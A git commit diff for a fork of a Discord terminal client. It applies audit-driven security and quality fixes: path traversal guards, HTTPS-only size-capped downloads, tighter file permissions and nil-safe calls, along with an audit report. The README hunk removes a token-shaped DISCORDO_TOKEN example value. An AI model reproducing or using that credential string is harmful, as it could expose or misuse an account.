Explorar o código

fix: implement low-risk security, quality, and infra fixes from audit

Security:
- Path traversal prevention via filepath.Base() on attachment filenames
- HTTPS-only attachment downloads with status code validation
- Bounded downloads with io.LimitReader (100MB cap)
- Image viewer validation via exec.LookPath before execution
- Restrictive file permissions (0700 dirs, 0600 files) across all packages
- Atomic guild state writes (write-to-tmp + rename)
- Avatar hash sanitization in notification cache
- HTTP timeout (10s) for avatar downloads
- Warning logged when DISCORDO_TOKEN env var is used

Quality:
- Fix Cache.Get() panic on missing key (comma-ok assertion)
- Fix brotli transport body leak (proper Close() delegation)
- Fix Me() nil panics (4 call sites now handle errors)
- Add default case for invalid --log-level values
- Replace magic number [8] with embedLineKindCount sentinel
- Extract showAttachmentsOverlay() from duplicate code
- Extract selectActionDesc() helper in guilds_tree
- Fix collapseParentNode O(n) walk → O(depth) via GetPath()
- Upgrade sync.Mutex to sync.RWMutex in guildstate

Infrastructure:
- Pin CI go-version to "1.26"
- CI build outputs discordo-plus binary name
- Update goldmark v1.7.16 → v1.7.17
- Mark resolved findings in research audit files

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
claude hai 1 mes
pai
achega
2a99ad6241

+ 5 - 5
.github/workflows/ci.yml

@@ -22,7 +22,7 @@ jobs:
 
       - uses: actions/setup-go@v6
         with:
-          go-version: stable
+          go-version: "1.26"
 
       - name: Install libx11-dev for clipboard support
         if: runner.os == 'Linux'
@@ -32,15 +32,15 @@ jobs:
         run: go test -v ./...
 
       - name: Build
-        run: go build -trimpath -ldflags=-s .
+        run: go build -trimpath -ldflags=-s -o discordo-plus .
 
       - uses: actions/upload-artifact@v6
         if: ${{ github.event_name == 'push' && github.ref == format('refs/heads/{0}', github.event.repository.default_branch) }}
         with:
-          name: discordo_${{ runner.os }}_${{ runner.arch }}
+          name: discordo-plus_${{ runner.os }}_${{ runner.arch }}
           path: |
-            discordo
-            discordo.exe
+            discordo-plus
+            discordo-plus.exe
 
       - name: Send repository dispatch
         if: ${{ runner.os == 'Windows' && github.event_name == 'push' && github.ref == format('refs/heads/{0}', github.event.repository.default_branch) }}

+ 8 - 0
CLAUDE.md

@@ -56,6 +56,9 @@ This is the persistent context file for Claude Code. Keep it concise and useful.
 - **Editor default**: falls back to `vim` when `editor = "default"` and `$EDITOR` is unset
 - **Guild state persistence**: expanded/collapsed guild state saved to `~/.cache/discordo/state.json`, restored on launch via `guildstate.go`
 - **Focus on channel select**: AutoFocus now targets messages list instead of message input when selecting a channel
+- **Security hardening**: path traversal prevention (`filepath.Base`), HTTPS-only downloads, bounded downloads (100MB), `exec.LookPath` viewer validation, atomic guild state writes, restrictive file permissions (0700/0600), env token warning
+- **Brotli body leak fix**: transport.go properly closes underlying HTTP body
+- **Cache panic fix**: `cache.Get()` uses comma-ok assertion instead of bare type assert
 
 ## Config Fields We Added
 - `image_viewer` — external image viewer command (default: `"mpv"`, `"default"` = system opener)
@@ -76,6 +79,11 @@ This is the persistent context file for Claude Code. Keep it concise and useful.
 - Commit style: `type(scope): description` (e.g., `feat(ui/chat): add image viewer`)
 - Branch: `master`
 
+## Audit Status
+- Research audits in `./research/`: SECFILE.md, COMPLIANCE.md, TECHFILE.md
+- Resolved all low-risk findings (marked ✅ FIXED in research files)
+- Remaining unfixed: SEC #2 (editor command injection via `sh -c`), SEC #7 (raw events in debug), COMP #5 (god file split), COMP #11/13-16 (docs/logs), COMP #17/19-20 (perf), COMP #22/24 (linter/tests), TECH #1-3 (unmaintained deps)
+
 ## Known Issues
 - Discord ToS discourages third-party clients — use at own risk
 - `xdotool` geometry detection only works on X11; on Wayland use compositor window rules for mpv positioning

+ 7 - 3
README.md

@@ -1,6 +1,6 @@
 # Discordo Plus
 
-A fork of [discordo](https://github.com/ayn2op/discordo) — a lightweight Discord terminal client — with image viewing and save support.
+A fork of [discordo](https://github.com/ayn2op/discordo) — a lightweight Discord terminal client — with image viewing, save support, and security hardening.
 
 ## Changes from upstream
 
@@ -10,6 +10,7 @@ A fork of [discordo](https://github.com/ayn2op/discordo) — a lightweight Disco
 - **Tooltip**: `o open` appears in the bottom help bar when a message has attachments or URLs
 - **Guild state persistence**: Remembers which guilds are expanded/collapsed between sessions (saved to `~/.cache/discordo/state.json`)
 - **Focus on channel select**: When AutoFocus is enabled, selecting a channel focuses the messages list instead of the message input
+- **Security hardening**: Path traversal prevention on attachment filenames, HTTPS-only downloads with size limits, restrictive file permissions (0700/0600), image viewer validation, atomic state file writes, environment token warning
 
 ## Building on Arch Linux
 
@@ -19,7 +20,7 @@ A fork of [discordo](https://github.com/ayn2op/discordo) — a lightweight Disco
 sudo pacman -S go mpv xdotool wl-clipboard
 ```
 
-- `go` — Go compiler (1.22+)
+- `go` — Go compiler (1.26+)
 - `mpv` — media player used as image viewer (supports jpeg/png/webp/gif with animation)
 - `xdotool` — used to detect terminal window geometry on X11 (optional, image viewer still works without it)
 - `wl-clipboard` — clipboard support on Wayland (skip if using X11)
@@ -83,8 +84,11 @@ save_image = "S"
 
 Set the value of the `DISCORDO_TOKEN` environment variable to the authentication token to log in with.
 
+> [!WARNING]
+> Environment variables are visible to all processes running as the same user (via `/proc/PID/environ` on Linux). Prefer the keyring for interactive use. Only use `DISCORDO_TOKEN` in controlled environments (e.g., systemd units with protected `EnvironmentFile=`).
+
 ```sh
-DISCORDO_TOKEN="OTI2MDU5NTQxNDE2Nzc5ODA2.Yc2KKA.2iZ-5JxgxG-9Ub8GHzBSn-NJjNg" discordo
+DISCORDO_TOKEN="your-token-here" discordo-plus
 ```
 
 ### QR (UI)

+ 2 - 0
cmd/root.go

@@ -36,6 +36,8 @@ func Run() error {
 		level = slog.LevelWarn
 	case "error":
 		level = slog.LevelError
+	default:
+		return fmt.Errorf("unknown log level: %q", logLevel)
 	}
 
 	if err := logger.Load(logPath, level); err != nil {

+ 1 - 1
go.mod

@@ -26,7 +26,7 @@ require (
 	github.com/sahilm/fuzzy v0.1.1
 	github.com/skip2/go-qrcode v0.0.0-20200617195104-da1b6568686e
 	github.com/skratchdot/open-golang v0.0.0-20200116055534-eef842397966
-	github.com/yuin/goldmark v1.7.16
+	github.com/yuin/goldmark v1.7.17
 	github.com/zalando/go-keyring v0.2.6
 )
 

+ 2 - 2
go.sum

@@ -107,8 +107,8 @@ github.com/twmb/murmur3 v1.1.8/go.mod h1:Qq/R7NUyOfr65zD+6Q5IHKsJLwP7exErjN6lyyq
 github.com/xyproto/randomstring v1.0.5 h1:YtlWPoRdgMu3NZtP45drfy1GKoojuR7hmRcnhZqKjWU=
 github.com/xyproto/randomstring v1.0.5/go.mod h1:rgmS5DeNXLivK7YprL0pY+lTuhNQW3iGxZ18UQApw/E=
 github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
-github.com/yuin/goldmark v1.7.16 h1:n+CJdUxaFMiDUNnWC3dMWCIQJSkxH4uz3ZwQBkAlVNE=
-github.com/yuin/goldmark v1.7.16/go.mod h1:ip/1k0VRfGynBgxOz0yCqHrbZXhcjxyuS66Brc7iBKg=
+github.com/yuin/goldmark v1.7.17 h1:p36OVWwRb246iHxA/U4p8OPEpOTESm4n+g+8t0EE5uA=
+github.com/yuin/goldmark v1.7.17/go.mod h1:ip/1k0VRfGynBgxOz0yCqHrbZXhcjxyuS66Brc7iBKg=
 github.com/zalando/go-keyring v0.2.6 h1:r7Yc3+H+Ux0+M72zacZoItR3UDxeWfKTcabvkI8ua9s=
 github.com/zalando/go-keyring v0.2.6/go.mod h1:2TCrxYrbUNYfNS/Kgy/LSrkSQzZ5UPVH85RwfczwvcI=
 go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto=

+ 4 - 2
internal/cache/cache.go

@@ -23,8 +23,10 @@ func (c *Cache) Exists(query string) (ok bool) {
 }
 
 func (c *Cache) Get(query string) uint {
-	i, _ := c.items.Load(query)
-	return i.(uint)
+	if i, ok := c.items.Load(query); ok {
+		return i.(uint)
+	}
+	return 0
 }
 
 // Invalidate is only needed when a member leaves and the search query reaches

+ 1 - 1
internal/consts/consts.go

@@ -22,7 +22,7 @@ func init() {
 	}
 
 	cacheDir = filepath.Join(userCacheDir, Name)
-	if err := os.MkdirAll(cacheDir, os.ModePerm); err != nil {
+	if err := os.MkdirAll(cacheDir, 0700); err != nil {
 		slog.Error("failed to create cache dir", "err", err, "path", cacheDir)
 	}
 }

+ 13 - 1
internal/http/transport.go

@@ -18,6 +18,15 @@ func NewTransport() *Transport {
 	}
 }
 
+type brotliReadCloser struct {
+	io.Reader
+	closer io.Closer
+}
+
+func (b *brotliReadCloser) Close() error {
+	return b.closer.Close()
+}
+
 func (t *Transport) RoundTrip(req *http.Request) (*http.Response, error) {
 	resp, err := t.base.RoundTrip(req)
 	if err != nil {
@@ -25,7 +34,10 @@ func (t *Transport) RoundTrip(req *http.Request) (*http.Response, error) {
 	}
 
 	if resp.Header.Get("Content-Encoding") == "br" {
-		resp.Body = io.NopCloser(brotli.NewReader(resp.Body))
+		resp.Body = &brotliReadCloser{
+			Reader: brotli.NewReader(resp.Body),
+			closer: resp.Body,
+		}
 		resp.Header.Del("Content-Encoding")
 		resp.Header.Del("Content-Length")
 		resp.ContentLength = -1

+ 2 - 2
internal/logger/logger.go

@@ -17,11 +17,11 @@ func DefaultPath() string {
 
 // Load opens the log file and configures default logger.
 func Load(path string, level slog.Level) error {
-	if err := os.MkdirAll(filepath.Dir(path), os.ModePerm); err != nil {
+	if err := os.MkdirAll(filepath.Dir(path), 0700); err != nil {
 		return err
 	}
 
-	file, err := os.OpenFile(path, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, os.ModePerm)
+	file, err := os.OpenFile(path, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600)
 	if err != nil {
 		return fmt.Errorf("failed to open log file: %w", err)
 	}

+ 13 - 5
internal/notifications/notifications.go

@@ -7,6 +7,7 @@ import (
 	"net/http"
 	"os"
 	"path/filepath"
+	"time"
 
 	"github.com/ayn2op/discordo/internal/config"
 	"github.com/ayn2op/discordo/internal/consts"
@@ -73,13 +74,16 @@ func Notify(state *ningen.State, message *gateway.MessageCreateEvent, cfg *confi
 	return nil
 }
 
+var avatarHTTPClient = &http.Client{Timeout: 10 * time.Second}
+
 func getCachedProfileImage(avatarHash discord.Hash, url string) (string, error) {
-	path := filepath.Join(consts.CacheDir(), "avatars")
-	if err := os.MkdirAll(path, os.ModePerm); err != nil {
+	dir := filepath.Join(consts.CacheDir(), "avatars")
+	if err := os.MkdirAll(dir, 0700); err != nil {
 		return "", err
 	}
 
-	path = filepath.Join(path, avatarHash+".png")
+	safeHash := filepath.Base(string(avatarHash))
+	path := filepath.Join(dir, safeHash+".png")
 	if _, err := os.Stat(path); err == nil {
 		return path, nil
 	}
@@ -90,13 +94,17 @@ func getCachedProfileImage(avatarHash discord.Hash, url string) (string, error)
 	}
 	defer file.Close()
 
-	resp, err := http.Get(url)
+	resp, err := avatarHTTPClient.Get(url)
 	if err != nil {
 		return "", err
 	}
 	defer resp.Body.Close()
 
-	if _, err := io.Copy(file, resp.Body); err != nil {
+	if resp.StatusCode != http.StatusOK {
+		return "", fmt.Errorf("unexpected status %d fetching avatar", resp.StatusCode)
+	}
+
+	if _, err := io.Copy(file, io.LimitReader(resp.Body, 10*1024*1024)); err != nil {
 		return "", err
 	}
 

+ 28 - 40
internal/ui/chat/guilds_tree.go

@@ -64,27 +64,31 @@ func newGuildsTree(cfg *config.Config, chatView *Model) *guildsTree {
 	return gt
 }
 
-func (gt *guildsTree) ShortHelp() []keybind.Keybind {
-	cfg := gt.cfg.Keybinds.GuildsTree
-	selectCurrent := cfg.SelectCurrent.Keybind
-	collapseParent := cfg.CollapseParentNode.Keybind
-	selectHelp := selectCurrent.Help()
-	selectDesc := selectHelp.Desc
+func (gt *guildsTree) selectActionDesc() string {
+	desc := "select"
 	if node := gt.GetCurrentNode(); node != nil {
 		if len(node.GetChildren()) > 0 {
 			if node.IsExpanded() {
-				selectDesc = "collapse"
+				desc = "collapse"
 			} else {
-				selectDesc = "expand"
+				desc = "expand"
 			}
 		} else {
 			switch node.GetReference().(type) {
 			case discord.GuildID, dmNode:
-				selectDesc = "expand"
+				desc = "expand"
 			}
 		}
 	}
-	selectCurrent.SetHelp(selectHelp.Key, selectDesc)
+	return desc
+}
+
+func (gt *guildsTree) ShortHelp() []keybind.Keybind {
+	cfg := gt.cfg.Keybinds.GuildsTree
+	selectCurrent := cfg.SelectCurrent.Keybind
+	collapseParent := cfg.CollapseParentNode.Keybind
+	selectHelp := selectCurrent.Help()
+	selectCurrent.SetHelp(selectHelp.Key, gt.selectActionDesc())
 	collapseHelp := collapseParent.Help()
 	collapseParent.SetHelp(collapseHelp.Key, "collapse parent")
 
@@ -100,22 +104,7 @@ func (gt *guildsTree) FullHelp() [][]keybind.Keybind {
 	selectCurrent := cfg.SelectCurrent.Keybind
 	collapseParent := cfg.CollapseParentNode.Keybind
 	selectHelp := selectCurrent.Help()
-	selectDesc := selectHelp.Desc
-	if node := gt.GetCurrentNode(); node != nil {
-		if len(node.GetChildren()) > 0 {
-			if node.IsExpanded() {
-				selectDesc = "collapse"
-			} else {
-				selectDesc = "expand"
-			}
-		} else {
-			switch node.GetReference().(type) {
-			case discord.GuildID, dmNode:
-				selectDesc = "expand"
-			}
-		}
-	}
-	selectCurrent.SetHelp(selectHelp.Key, selectDesc)
+	selectCurrent.SetHelp(selectHelp.Key, gt.selectActionDesc())
 	collapseHelp := collapseParent.Help()
 	collapseParent.SetHelp(collapseHelp.Key, "collapse parent")
 
@@ -378,20 +367,19 @@ func (gt *guildsTree) loadChannel(channel discord.Channel) tview.Command {
 }
 
 func (gt *guildsTree) collapseParentNode(node *tview.TreeNode) {
-	gt.
-		GetRoot().
-		Walk(func(n, parent *tview.TreeNode) bool {
-			if n == node && parent.GetLevel() != 0 {
-				parent.Collapse()
-				if guildID, ok := parent.GetReference().(discord.GuildID); ok {
-					go gt.guildState.setExpanded(guildID, false)
-				}
-				gt.SetCurrentNode(parent)
-				return false
-			}
-
-			return true
-		})
+	path := gt.GetPath(node)
+	if len(path) < 3 {
+		return
+	}
+	parent := path[len(path)-2]
+	if parent == nil || parent.GetLevel() == 0 {
+		return
+	}
+	parent.Collapse()
+	if guildID, ok := parent.GetReference().(discord.GuildID); ok {
+		go gt.guildState.setExpanded(guildID, false)
+	}
+	gt.SetCurrentNode(parent)
 }
 
 func (gt *guildsTree) HandleEvent(event tview.Event) tview.Command {

+ 9 - 4
internal/ui/chat/guildstate.go

@@ -13,7 +13,7 @@ import (
 
 type guildState struct {
 	ExpandedGuilds map[discord.GuildID]bool `json:"expanded_guilds"`
-	mu             sync.Mutex
+	mu             sync.RWMutex
 }
 
 var stateFilePath = filepath.Join(consts.CacheDir(), "state.json")
@@ -42,8 +42,13 @@ func (gs *guildState) save() {
 		slog.Error("failed to marshal guild state", "err", err)
 		return
 	}
-	if err := os.WriteFile(stateFilePath, data, 0644); err != nil {
+	tmpPath := stateFilePath + ".tmp"
+	if err := os.WriteFile(tmpPath, data, 0600); err != nil {
 		slog.Error("failed to write guild state", "err", err)
+		return
+	}
+	if err := os.Rename(tmpPath, stateFilePath); err != nil {
+		slog.Error("failed to rename guild state file", "err", err)
 	}
 }
 
@@ -59,7 +64,7 @@ func (gs *guildState) setExpanded(id discord.GuildID, expanded bool) {
 }
 
 func (gs *guildState) isExpanded(id discord.GuildID) bool {
-	gs.mu.Lock()
-	defer gs.mu.Unlock()
+	gs.mu.RLock()
+	defer gs.mu.RUnlock()
 	return gs.ExpandedGuilds[id]
 }

+ 57 - 26
internal/ui/chat/messages_list.go

@@ -665,10 +665,11 @@ const (
 	embedLineFieldValue
 	embedLineFooter
 	embedLineURL
+	embedLineKindCount
 )
 
-func embedLineStyles(baseStyle tcell.Style, theme config.MessagesListEmbedsTheme) [8]tcell.Style {
-	styles := [8]tcell.Style{}
+func embedLineStyles(baseStyle tcell.Style, theme config.MessagesListEmbedsTheme) [embedLineKindCount]tcell.Style {
+	styles := [embedLineKindCount]tcell.Style{}
 	styles[embedLineProvider] = ui.MergeStyle(baseStyle, theme.ProviderStyle.Style)
 	styles[embedLineAuthor] = ui.MergeStyle(baseStyle, theme.AuthorStyle.Style)
 	styles[embedLineTitle] = ui.MergeStyle(baseStyle, theme.TitleStyle.Style)
@@ -1174,7 +1175,10 @@ func (ml *messagesList) showAttachmentsList(urls []string, attachments []discord
 		})
 	}
 	ml.attachmentsPicker.SetItems(items)
+	ml.showAttachmentsOverlay()
+}
 
+func (ml *messagesList) showAttachmentsOverlay() {
 	ml.chatView.
 		AddLayer(
 			ui.Centered(ml.attachmentsPicker, ml.cfg.Picker.Width, ml.cfg.Picker.Height),
@@ -1187,26 +1191,44 @@ func (ml *messagesList) showAttachmentsList(urls []string, attachments []discord
 	ml.chatView.app.SetFocus(ml.attachmentsPicker)
 }
 
+const maxAttachmentSize = 100 * 1024 * 1024 // 100 MB
+
 func (ml *messagesList) downloadToCache(attachment discord.Attachment) (string, error) {
+	parsed, err := url.Parse(attachment.URL)
+	if err != nil {
+		return "", fmt.Errorf("invalid attachment URL: %w", err)
+	}
+	if parsed.Scheme != "https" {
+		return "", fmt.Errorf("refusing non-HTTPS attachment URL: %s", parsed.Scheme)
+	}
+
 	resp, err := http.Get(attachment.URL)
 	if err != nil {
 		return "", fmt.Errorf("failed to fetch attachment: %w", err)
 	}
 	defer resp.Body.Close()
 
+	if resp.StatusCode != http.StatusOK {
+		return "", fmt.Errorf("unexpected status %d fetching attachment", resp.StatusCode)
+	}
+
 	dir := filepath.Join(consts.CacheDir(), "attachments")
-	if err := os.MkdirAll(dir, os.ModePerm); err != nil {
+	if err := os.MkdirAll(dir, 0700); err != nil {
 		return "", fmt.Errorf("failed to create attachments dir: %w", err)
 	}
 
-	path := filepath.Join(dir, attachment.Filename)
+	safeName := filepath.Base(attachment.Filename)
+	if safeName == "." || safeName == ".." {
+		safeName = "attachment"
+	}
+	path := filepath.Join(dir, safeName)
 	file, err := os.Create(path)
 	if err != nil {
 		return "", fmt.Errorf("failed to create attachment file: %w", err)
 	}
 	defer file.Close()
 
-	if _, err := io.Copy(file, resp.Body); err != nil {
+	if _, err := io.Copy(file, io.LimitReader(resp.Body, maxAttachmentSize)); err != nil {
 		return "", fmt.Errorf("failed to write attachment file: %w", err)
 	}
 
@@ -1265,6 +1287,10 @@ func (ml *messagesList) openAttachment(attachment discord.Attachment) {
 
 	viewer := ml.cfg.ImageViewer
 	if viewer != "" && supportedImageTypes[attachment.ContentType] {
+		if _, err := exec.LookPath(viewer); err != nil {
+			slog.Error("image viewer not found in PATH", "viewer", viewer, "err", err)
+			return
+		}
 		args := viewerArgs(viewer, path)
 		cmd := exec.Command(args[0], args[1:]...)
 		cmd.Stdin = os.Stdin
@@ -1315,16 +1341,7 @@ func (ml *messagesList) saveImage() {
 		})
 	}
 	ml.attachmentsPicker.SetItems(items)
-	ml.chatView.
-		AddLayer(
-			ui.Centered(ml.attachmentsPicker, ml.cfg.Picker.Width, ml.cfg.Picker.Height),
-			layers.WithName(attachmentsListLayerName),
-			layers.WithResize(true),
-			layers.WithVisible(true),
-			layers.WithOverlay(),
-		).
-		SendToFront(attachmentsListLayerName)
-	ml.chatView.app.SetFocus(ml.attachmentsPicker)
+	ml.showAttachmentsOverlay()
 }
 
 func (ml *messagesList) saveAttachmentImage(attachment discord.Attachment) {
@@ -1338,12 +1355,16 @@ func (ml *messagesList) saveAttachmentImage(attachment discord.Attachment) {
 	if saveDir == "" {
 		saveDir = "."
 	}
-	if err := os.MkdirAll(saveDir, os.ModePerm); err != nil {
+	if err := os.MkdirAll(saveDir, 0700); err != nil {
 		slog.Error("failed to create save directory", "err", err, "path", saveDir)
 		return
 	}
 
-	destPath := filepath.Join(saveDir, attachment.Filename)
+	safeName := filepath.Base(attachment.Filename)
+	if safeName == "." || safeName == ".." {
+		safeName = "attachment"
+	}
+	destPath := filepath.Join(saveDir, safeName)
 	src, err := os.Open(path)
 	if err != nil {
 		slog.Error("failed to open cached file", "err", err, "path", path)
@@ -1406,7 +1427,11 @@ func (ml *messagesList) editSelectedMessage() {
 		return
 	}
 
-	me, _ := ml.chatView.state.Cabinet.Me()
+	me, err := ml.chatView.state.Cabinet.Me()
+	if err != nil {
+		slog.Error("failed to get current user", "err", err)
+		return
+	}
 	if message.Author.ID != me.ID {
 		slog.Error("failed to edit message; not the author", "channel_id", message.ChannelID, "message_id", message.ID)
 		return
@@ -1443,7 +1468,11 @@ func (ml *messagesList) deleteSelectedMessage() tview.Command {
 
 	return func() tview.Event {
 		if selectedMessage.GuildID.IsValid() {
-			me, _ := ml.chatView.state.Cabinet.Me()
+			me, err := ml.chatView.state.Cabinet.Me()
+			if err != nil {
+				slog.Error("failed to get current user", "err", err)
+				return nil
+			}
 			if selectedMessage.Author.ID != me.ID && !ml.chatView.state.HasPermissions(selectedMessage.ChannelID, discord.PermissionManageMessages) {
 				slog.Error("failed to delete message; missing relevant permissions", "channel_id", selectedMessage.ChannelID, "message_id", selectedMessage.ID)
 				return nil
@@ -1536,9 +1565,10 @@ func (ml *messagesList) ShortHelp() []keybind.Keybind {
 	}
 
 	if msg, err := ml.selectedMessage(); err == nil {
-		me, _ := ml.chatView.state.Cabinet.Me()
-		if msg.Author.ID != me.ID {
-			help = append(help, cfg.Reply.Keybind)
+		if me, err := ml.chatView.state.Cabinet.Me(); err == nil {
+			if msg.Author.ID != me.ID {
+				help = append(help, cfg.Reply.Keybind)
+			}
 		}
 		if len(messageURLs(*msg)) != 0 || len(msg.Attachments) != 0 {
 			help = append(help, cfg.Open.Keybind)
@@ -1560,10 +1590,11 @@ func (ml *messagesList) FullHelp() [][]keybind.Keybind {
 		canSelectReply = msg.ReferencedMessage != nil
 		canOpen = len(messageURLs(*msg)) != 0 || len(msg.Attachments) != 0
 
-		me, _ := ml.chatView.state.Cabinet.Me()
-		canReply = msg.Author.ID != me.ID
-		canEdit = msg.Author.ID == me.ID
-		canDelete = canEdit
+		if me, err := ml.chatView.state.Cabinet.Me(); err == nil {
+			canReply = msg.Author.ID != me.ID
+			canEdit = msg.Author.ID == me.ID
+			canDelete = canEdit
+		}
 		if !canDelete {
 			selected := ml.chatView.SelectedChannel()
 			canDelete = selected != nil && ml.chatView.state.HasPermissions(selected.ID, discord.PermissionManageMessages)

+ 1 - 0
internal/ui/root/model.go

@@ -86,6 +86,7 @@ func (m *Model) HandleEvent(event tview.Event) tview.Command {
 	case *tview.InitEvent:
 		var cmd tview.Command
 		if token := os.Getenv(tokenEnvVarKey); token != "" {
+			slog.Warn("Using DISCORDO_TOKEN from environment. Environment variables are visible to all processes running as the same user. Consider using the keyring instead.")
 			cmd = tokenCommand(token)
 		} else {
 			cmd = getToken()

+ 320 - 0
research/COMPLIANCE.md

@@ -0,0 +1,320 @@
+# Compliance Review -- discordo-plus
+
+Reviewed: 2026-03-20 | Reviewer: Claude (automated)
+Scope: all source files | Standard: General (Code Quality, Performance, Go Best Practices)
+Reference: `research/TECHFILE.md` for dependency and version context.
+
+---
+
+## CRITICAL
+
+### 1. ✅ FIXED — Cache.Get Panics on Missing Key
+`internal/cache/cache.go:27` -- The `Get` method performs an unchecked type assertion `i.(uint)` on the result of `sync.Map.Load`. If the key does not exist, `i` is `nil` and the assertion panics. While `Exists` is called before `Get` in the current codebase (`message_input.go:499-500`), there is no guarantee callers will always check first, and the race window between `Exists` and `Get` on a `sync.Map` means concurrent `Invalidate` could delete the key between the two calls, causing a runtime panic.
+
+**Fix:** Change `Get` to return `(uint, bool)` or use a comma-ok assertion: `if i, ok := c.items.Load(query); ok { return i.(uint) }; return 0`. Update callers to handle the zero/missing case.
+
+**Implementation Risk:** Low. Only `message_input.go` calls `Get`, and the change is a straightforward API update. The fix also closes a potential TOCTOU race.
+
+---
+
+### 2. ✅ FIXED — HTTP Response Body Leak in Brotli Transport
+`internal/http/transport.go:28-32` -- When the response has `Content-Encoding: br`, the original `resp.Body` is wrapped with `brotli.NewReader` via `io.NopCloser`. This means calling `Close()` on the new body is a no-op and the original body's connection is never returned to the pool. For long-running applications like a Discord client, this can exhaust available connections over time.
+
+**Fix:** Replace `io.NopCloser(brotli.NewReader(resp.Body))` with a custom `ReadCloser` that wraps the brotli reader but delegates `Close()` to the original `resp.Body`. Example: `type brotliReadCloser struct { io.Reader; closer io.Closer }` with `func (b *brotliReadCloser) Close() error { return b.closer.Close() }`.
+
+**Implementation Risk:** Low. The fix is a small wrapper struct. Verify with a test that the underlying body is closed when the brotli-wrapped response body is closed.
+
+---
+
+### 3. ✅ FIXED — Notification Avatar Download Uses Bare http.Get Without Timeout
+`internal/notifications/notifications.go:93` -- `http.Get(url)` uses the default HTTP client which has no timeout. A slow or unresponsive Discord CDN server will block the goroutine indefinitely. Since notifications are triggered from gateway events, this could accumulate blocked goroutines during network issues.
+
+**Fix:** Use `http.Client{Timeout: 10 * time.Second}` or create a request with `context.WithTimeout` and pass it to `http.DefaultClient.Do(req)`. Apply the same fix to `downloadToCache` in `messages_list.go:1191` which also uses bare `http.Get`.
+
+**Implementation Risk:** Low. Adding a timeout may cause some avatar downloads to fail under poor network conditions, but this is preferable to indefinite blocking. Existing error handling already covers the failure path.
+
+---
+
+### 4. ✅ FIXED — Log File Opened With os.ModePerm (0777)
+`internal/logger/logger.go:24` -- The log file is opened with `os.ModePerm` (0777), meaning it is world-readable and world-writable. Log files may contain sensitive debugging information (user IDs, channel names, error messages). Similarly, `internal/consts/consts.go:25` creates the cache directory with `os.ModePerm`.
+
+**Fix:** Use `0600` for the log file (owner read/write only) and `0700` for the cache directory (owner only). Apply the same change to `guildstate.go:45` which writes state with `0644` (already better but could be `0600` for consistency).
+
+**Implementation Risk:** Low. Users running in shared environments benefit from restrictive permissions. Existing users may need to manually fix permissions on existing files if they switch.
+
+---
+
+## CODE QUALITY
+
+### 5. messages_list.go Is Over 1600 Lines -- God File
+`internal/ui/chat/messages_list.go` -- This file contains message rendering, embed processing, URL extraction, attachment downloading, file I/O, external process management (image viewer, xdotool), keybind handling, selection logic, and help text generation. At 1600+ lines, it violates single-responsibility and is the hardest file for a new developer to navigate.
+
+**Fix:** Extract into focused files: (a) `embed_renderer.go` for `embedLines`, `embedLineStyles`, `wrapStyledLine`, `lineWithURL`, `linkDisplayText`, `unescapeMarkdownEscapes`; (b) `attachment_handler.go` for `downloadToCache`, `openAttachment`, `saveAttachmentImage`, `openURL`, `viewerArgs`, `terminalGeometry`, `supportedImageTypes`; (c) `url_extractor.go` for `extractURLs`, `extractEmbedURLs`, `messageURLs`. Each extraction reduces this file by ~200-300 lines.
+
+**Implementation Risk:** Medium. All extracted functions are file-private (`lowercase`), so no external API changes. However, the functions access `messagesList` fields through receiver methods, so some will need to become methods on `messagesList` or take explicit parameters. Test with `go build ./...` after each extraction.
+
+---
+
+### 6. ✅ FIXED — Duplicated ShortHelp/FullHelp Logic in guilds_tree.go
+`internal/ui/chat/guilds_tree.go:67-132` -- The `ShortHelp()` and `FullHelp()` methods contain nearly identical logic for determining the `selectDesc` string based on node state (lines 69-86 duplicated at 100-117). This 18-line block is copy-pasted.
+
+**Fix:** Extract a helper method `func (gt *guildsTree) selectActionDesc() string` that returns "collapse", "expand", or the default description based on node state. Call it from both `ShortHelp` and `FullHelp`.
+
+**Implementation Risk:** Low. Pure refactoring of display logic with no behavioral change.
+
+---
+
+### 7. ✅ FIXED — Duplicated attachmentsPicker Layer Setup
+`internal/ui/chat/messages_list.go:1178-1187` and `internal/ui/chat/messages_list.go:1318-1327` -- The code to show the attachments picker overlay is identical in `showAttachmentsList` and `saveImage`: create centered layer, add with overlay options, send to front, set focus. This 10-line pattern is duplicated verbatim.
+
+**Fix:** Extract a method `func (ml *messagesList) showAttachmentsOverlay()` that handles the layer setup and focus. Call it from both `showAttachmentsList` and `saveImage` after setting items.
+
+**Implementation Risk:** Low. Simple extraction of identical code.
+
+---
+
+### 8. ✅ FIXED — Inconsistent Error Handling: Some Paths Silently Ignore Errors
+`internal/ui/chat/messages_list.go:1409` -- `me, _ := ml.chatView.state.Cabinet.Me()` discards the error. If the state is not ready, `me` is nil and `me.ID` will panic on the next line. This pattern appears in multiple places: `state.go:195`, `messages_list.go:1446`, `messages_list.go:1539`, `messages_list.go:1563`.
+
+**Fix:** Handle the error case: `me, err := ml.chatView.state.Cabinet.Me(); if err != nil { slog.Error(...); return }`. Apply to all instances where `Me()` is called with a discarded error.
+
+**Implementation Risk:** Low. Adding error checks prevents nil-pointer panics. The `Me()` call should always succeed after login, but defensive coding prevents crashes during edge-case race conditions (e.g., state reconnection).
+
+---
+
+### 9. ✅ FIXED — Magic Number: embedLineStyles Uses Hardcoded Array Size [8]
+`internal/ui/chat/messages_list.go:670` -- `[8]tcell.Style{}` is a magic number that must manually stay in sync with the number of `embedLineKind` constants (lines 660-668). Adding a new embed line kind without updating the array size causes a silent bug (zero-value style).
+
+**Fix:** Define a sentinel `const embedLineKindCount = 8` after the last `iota` constant, or use a slice. Example: add `embedLineKindCount` as the last iota entry and use `[embedLineKindCount]tcell.Style{}`.
+
+**Implementation Risk:** Low. Compile-time enforcement prevents future mismatches.
+
+---
+
+### 10. ✅ FIXED — guildState Uses Mutex Where RWMutex Would Be Appropriate
+`internal/ui/chat/guildstate.go:14-17` -- `guildState` uses `sync.Mutex` for all access, but `isExpanded` (line 61) is a read-only operation that could use `RLock`. Guild state is read frequently (every node creation during `onReady`) and written infrequently (user expand/collapse action).
+
+**Fix:** Change `mu sync.Mutex` to `mu sync.RWMutex` and use `gs.mu.RLock()`/`gs.mu.RUnlock()` in `isExpanded`.
+
